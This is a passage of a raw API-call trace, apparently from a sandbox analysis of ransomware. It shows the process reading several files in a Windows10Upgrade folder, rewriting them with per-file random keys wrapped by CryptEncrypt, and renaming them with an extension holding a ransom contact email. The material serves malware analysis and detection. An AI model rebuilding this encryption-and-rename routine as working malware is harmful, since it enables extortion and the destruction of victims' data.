nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.544] CloseHandle (hObject=0x470) returned 1 [0090.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0090.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0090.546] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), lpNewFileName="\\Windows10Upgrade\\WinREBootApp64.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0090.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0090.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0090.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0090.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0090.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.548] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0090.548] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0090.548] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\WinREBootApp32.exe", dwFileAttributes=0x80) returned 1 [0090.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0090.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0090.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0090.549] CreateFileW (lpFileName="\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.549] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=25288) returned 1 [0090.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x62c8) returned 0x589f40 [0090.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x62c8) returned 0x590210 [0090.550] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x62c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x62c8, lpOverlapped=0x0) returned 1 [0090.552] SetFilePointer (in: hFile=0x470, lDistanceToMove=-25288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.552] WriteFile (in: hFile=0x470, lpBuffer=0x590210*, nNumberOfBytesToWrite=0x62c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x590210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x62c8, lpOverlapped=0x0) returned 1 [0090.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0090.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x590210 | out: hHeap=0x520000) returned 1 [0090.553] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x62c8 [0090.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.555] WriteFile (in: hFile=0x470, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.555] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.555] CloseHandle (hObject=0x470) returned 1 [0090.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0090.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0090.557] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), lpNewFileName="\\Windows10Upgrade\\WinREBootApp32.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0090.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0090.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0090.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0090.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0090.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0090.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0090.566] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe", dwFileAttributes=0x80) returned 1 [0090.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0090.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0090.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0090.567] CreateFileW (lpFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.567] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1415880) returned 1 [0090.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x159ac8) returned 0x312c020 [0090.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x159ac8) returned 0x3297020 [0090.575] ReadFile (in: hFile=0x470, lpBuffer=0x312c020, nNumberOfBytesToRead=0x159ac8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312c020*, lpNumberOfBytesRead=0x2e1f9bc*=0x159ac8, lpOverlapped=0x0) returned 1 [0090.871] SetFilePointer (in: hFile=0x470, lDistanceToMove=-1415880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.872] WriteFile (in: hFile=0x470, lpBuffer=0x3297020*, nNumberOfBytesToWrite=0x159ac8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3297020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x159ac8, lpOverlapped=0x0) returned 1 [0090.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312c020 | out: hHeap=0x520000) returned 1 [0090.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3297020 | out: hHeap=0x520000) returned 1 [0090.894] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x159ac8 [0090.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.895] WriteFile (in: hFile=0x470, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.895] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.895] CloseHandle (hObject=0x470) returned 1 [0090.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0090.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0090.921] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), lpNewFileName="\\Windows10Upgrade\\Windows10UpgraderApp.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0090.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0090.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0090.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0090.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.923] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0090.924] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0090.924] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\windlp.dll", dwFileAttributes=0x80) returned 1 [0091.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0091.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0091.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0091.014] CreateFileW (lpFileName="\\Windows10Upgrade\\windlp.dll" (normalized: "c:\\windows10upgrade\\windlp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.014] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=915656) returned 1 [0091.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdf8c8) returned 0x3123020 [0091.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdf8c8) returned 0x321d020 [0091.019] ReadFile (in: hFile=0x470, lpBuffer=0x3123020, nNumberOfBytesToRead=0xdf8c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3123020*, lpNumberOfBytesRead=0x2e1f9bc*=0xdf8c8, lpOverlapped=0x0) returned 1 [0091.237] SetFilePointer (in: hFile=0x470, lDistanceToMove=-915656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.238] WriteFile (in: hFile=0x470, lpBuffer=0x321d020*, nNumberOfBytesToWrite=0xdf8c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x321d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdf8c8, lpOverlapped=0x0) returned 1 [0091.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3123020 | out: hHeap=0x520000) returned 1 [0091.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x321d020 | out: hHeap=0x520000) returned 1 [0091.250] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdf8c8 [0091.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.251] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.251] WriteFile (in: hFile=0x470, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.251] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.251] CloseHandle (hObject=0x470) returned 1 [0091.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0091.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0091.274] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\windlp.dll" (normalized: "c:\\windows10upgrade\\windlp.dll"), lpNewFileName="\\Windows10Upgrade\\windlp.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\windlp.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0091.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0091.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0091.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0091.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0091.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0091.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0091.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d130 | out: pbBuffer=0x54d130) returned 1 [0091.276] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\wimgapi.dll", dwFileAttributes=0x80) returned 1 [0091.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0091.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0091.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0091.277] CreateFileW (lpFileName="\\Windows10Upgrade\\wimgapi.dll" (normalized: "c:\\windows10upgrade\\wimgapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.277] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=557256) returned 1 [0091.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x880c8) returned 0x312d020 [0091.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x880c8) returned 0x31ca020 [0091.281] ReadFile (in: hFile=0x470, lpBuffer=0x312d020, nNumberOfBytesToRead=0x880c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x880c8, lpOverlapped=0x0) returned 1 [0091.382] SetFilePointer (in: hFile=0x470, lDistanceToMove=-557256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.382] WriteFile (in: hFile=0x470, lpBuffer=0x31ca020*, nNumberOfBytesToWrite=0x880c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31ca020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x880c8, lpOverlapped=0x0) returned 1 [0091.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312d020 | out: hHeap=0x520000) returned 1 [0091.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31ca020 | out: hHeap=0x520000) returned 1 [0091.392] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x880c8 [0091.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.393] WriteFile (in: hFile=0x470, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.393] WriteFile (in: hFile=0x470, lpBuffer=0x54d130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d130*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.393] CloseHandle (hObject=0x470) returned 1 [0091.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0091.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0091.420] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\wimgapi.dll" (normalized: "c:\\windows10upgrade\\wimgapi.dll"), lpNewFileName="\\Windows10Upgrade\\wimgapi.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\wimgapi.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0091.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0091.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0091.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0091.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0091.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0091.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0091.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0091.423] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\upgrader_win10.log", dwFileAttributes=0x80) returned 1 [0091.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0091.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0091.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0091.423] CreateFileW (lpFileName="\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.424] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20548) returned 1 [0091.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5044) returned 0x589f40 [0091.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5044) returned 0x58ef90 [0091.424] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x5044, lpOverlapped=0x0) returned 1 [0091.466] SetFilePointer (in: hFile=0x470, lDistanceToMove=-20548, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.466] WriteFile (in: hFile=0x470, lpBuffer=0x58ef90*, nNumberOfBytesToWrite=0x5044, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ef90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5044, lpOverlapped=0x0) returned 1 [0091.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0091.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x520000) returned 1 [0091.467] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5044 [0091.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.469] WriteFile (in: hFile=0x470, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.469] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.469] CloseHandle (hObject=0x470) returned 1 [0091.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0091.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0091.472] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), lpNewFileName="\\Windows10Upgrade\\upgrader_win10.log.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0091.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0091.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0091.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0091.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0091.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0091.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0091.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0091.475] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\upgrader_default.log", dwFileAttributes=0x80) returned 1 [0091.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0091.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0091.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0091.490] CreateFileW (lpFileName="\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.490] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=250186) returned 1 [0091.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d14a) returned 0x589f40 [0091.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d14a) returned 0x2f20048 [0091.491] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x3d14a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d14a, lpOverlapped=0x0) returned 1 [0091.556] SetFilePointer (in: hFile=0x470, lDistanceToMove=-250186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 